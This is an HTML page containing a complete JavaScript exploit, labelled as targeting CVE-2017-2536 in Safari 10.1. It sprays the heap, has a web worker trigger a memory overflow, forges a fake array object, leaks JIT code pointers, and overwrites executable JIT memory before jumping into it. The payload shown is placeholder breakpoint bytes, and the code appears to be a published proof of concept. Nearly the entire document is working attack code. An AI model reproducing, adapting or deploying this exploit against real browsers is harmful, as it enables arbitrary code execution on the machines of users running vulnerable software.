<div id="log"></div>
<script>
// Exploit for CVE-2017-2536, Safari 10.1
// https://phoenhex.re/2017-06-02/arrayspread

function make_compiled_function() {
    function target(x) {
        return x*5 + x - x*x;
    }
    // Call only once so that function gets compiled with low level interpreter
    // but none of the optimizing JITs
    target(0);
    return target;
}

function die(msg) {
    document.getElementById('log').innerText = msg;
}

var worker, buf, spray, structs, hax, convert, cu, cf,
    container, target, interval, ary;

function step1() {
    // Spray structure tables
    structs = new Array(0x1000);
    for (var i = 0; i < 0x1000; ++i) {
        var a = new Float64Array(1);
        a['property'+i] = 1337;
        structs[i] = a;
    }

    worker = new Worker('/spread-worker.js');
    worker.onmessage = step2;
}

function step2() {
    worker.onmessage = function() {
        die("worker done but did not trigger");
    };

    // fill up some holes and make space for JSCells
    var obj;
    for (var i = 0; i < 1000; ++i)
        obj = {}

    hax = new Uint8Array(0x1000);

    convert = new ArrayBuffer(32);
    cu = new Uint8Array(convert);
    cf = new Float64Array(convert);

    cu.set([0x00, 0x10, 0x00, 0x00, 0x00, 0x27, 0x18, 0x01], 0);
    var jsCellHeader = cf[0];

    cu.set([0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00], 0);
    var lengthAndFlags = cf[0];

    container = {
        jsCellHeader: jsCellHeader,
        butterfly: false,
        vector: hax,
        lengthAndFlags: lengthAndFlags,
    };
    target = make_compiled_function();

    spray = new Array(100000);
    var cnt = 0;

    // Fill up holes
    for (var j = 0; j < 100; ++j) {
        spray[cnt++] = new Array(0x40000);
    }

    // Spray a pattern of alternatingly rooted and non-rooted objects
    for (var j = 0; j < 100; ++j) {
        var alloc = new Array(0x40000);

        if (j % 2 == 0)
            spray[cnt++] = alloc;
    }

    // Allocate victim buffer
    for (var j = 0; j < 10; ++j) {
        var alloc = (j%2==0) ? new Array(0x80000) : new ArrayBuffer(0x80000*8+8);
        if (j%2==0) {
            alloc[0] = {};
        }
        spray[cnt++] = alloc;
    }

    ary = spray[cnt - 2];
    buf = new Uint8Array(spray[cnt - 1]);

    // 4GB padding
    for (var i = 0; i < 8; ++i) {
        spray[cnt++] = new Array(0x4000000);
    }

    // Let worker trigger the overflow
    worker.postMessage(1337);

    interval = setInterval(step3, 500);
}

function step3() {
    // Check for memory corruption
    if (buf[0x80000*8+8-1] != 0x41) return;
    clearInterval(interval);

    var ary_index = 0x801f2;
    var offset = 0;

    ary[ary_index] = 0x414141;
    if (buf[offset] != 0x41 || buf[offset+1] != 0x41 || buf[offset+2] != 0x41) {
        die("FAIL1");
    }

    ary[ary_index] = container;
    var addr = 0;
    for (var i = 7; i >= 0; --i)
        addr = addr * 0x100 + buf[offset+i];
    var addr_container = addr;

    var addr = addr_container + 16;
    for (var i = 0; i < 8; ++i) {
        buf[offset + i] = addr & 0xff;
        addr /= 0x100;
    }
    var fakearray = ary[ary_index];

    // TODO instead of calling it here (which might trigger an allocation), can
    // we call it after we trigger GC but before corrupting the heap?
    target(0);

    // Leak JIT code pointer
    ary[ary_index] = target;
    addr = 0;
    for (var i = 7; i >= 0; --i)
        addr = addr * 0x100 + buf[offset+i];
    var target_addr = addr;

    addr = target_addr + 24;
    for (var i = 0; i < 8; ++i) {
        cu[i] = addr & 0xff;
        addr /= 0x100;
    }
    fakearray[2] = cf[0];
    addr = 0;
    for (var i = 7; i >= 0; --i) {
        addr = addr * 0x100 + hax[i];
    }
    var executable = addr;

    addr = executable + 24;
    for (var i = 0; i < 8; ++i) {
        cu[i] = addr & 0xff;
        addr /= 0x100;
    }
    fakearray[2] = cf[0];
    addr = 0;
    for (var i = 7; i >= 0; --i) {
        addr = addr * 0x100 + hax[i];
    }
    var jit_code = addr;
    if (jit_code === 0) {
        die("FAIL4_" + target_addr + "_" + executable + "_" + jit_code);
    }

    addr = jit_code + 32;
    for (var i = 0; i < 8; ++i) {
        cu[i] = addr & 0xff;
        addr /= 0x100;
    }
    fakearray[2] = cf[0];
    addr = 0;
    for (var i = 7; i >= 0; --i) {
        addr = addr * 0x100 + hax[i];
    }
    var code = addr;

    if (code <= 0x1000000000) {
        die("FAIL5");
    }

    // Write shellcode
    addr = code;
    for (var i = 0; i < 8; ++i) {
        cu[i] = addr & 0xff;
        addr /= 0x100;
    }
    fakearray[2] = cf[0];
    hax[0] = 0xcc;
    hax[1] = 0xcc;
    hax[2] = 0xcc;

    // Jump into our own code
    target();
}

setTimeout(step1, 2000)

</script>
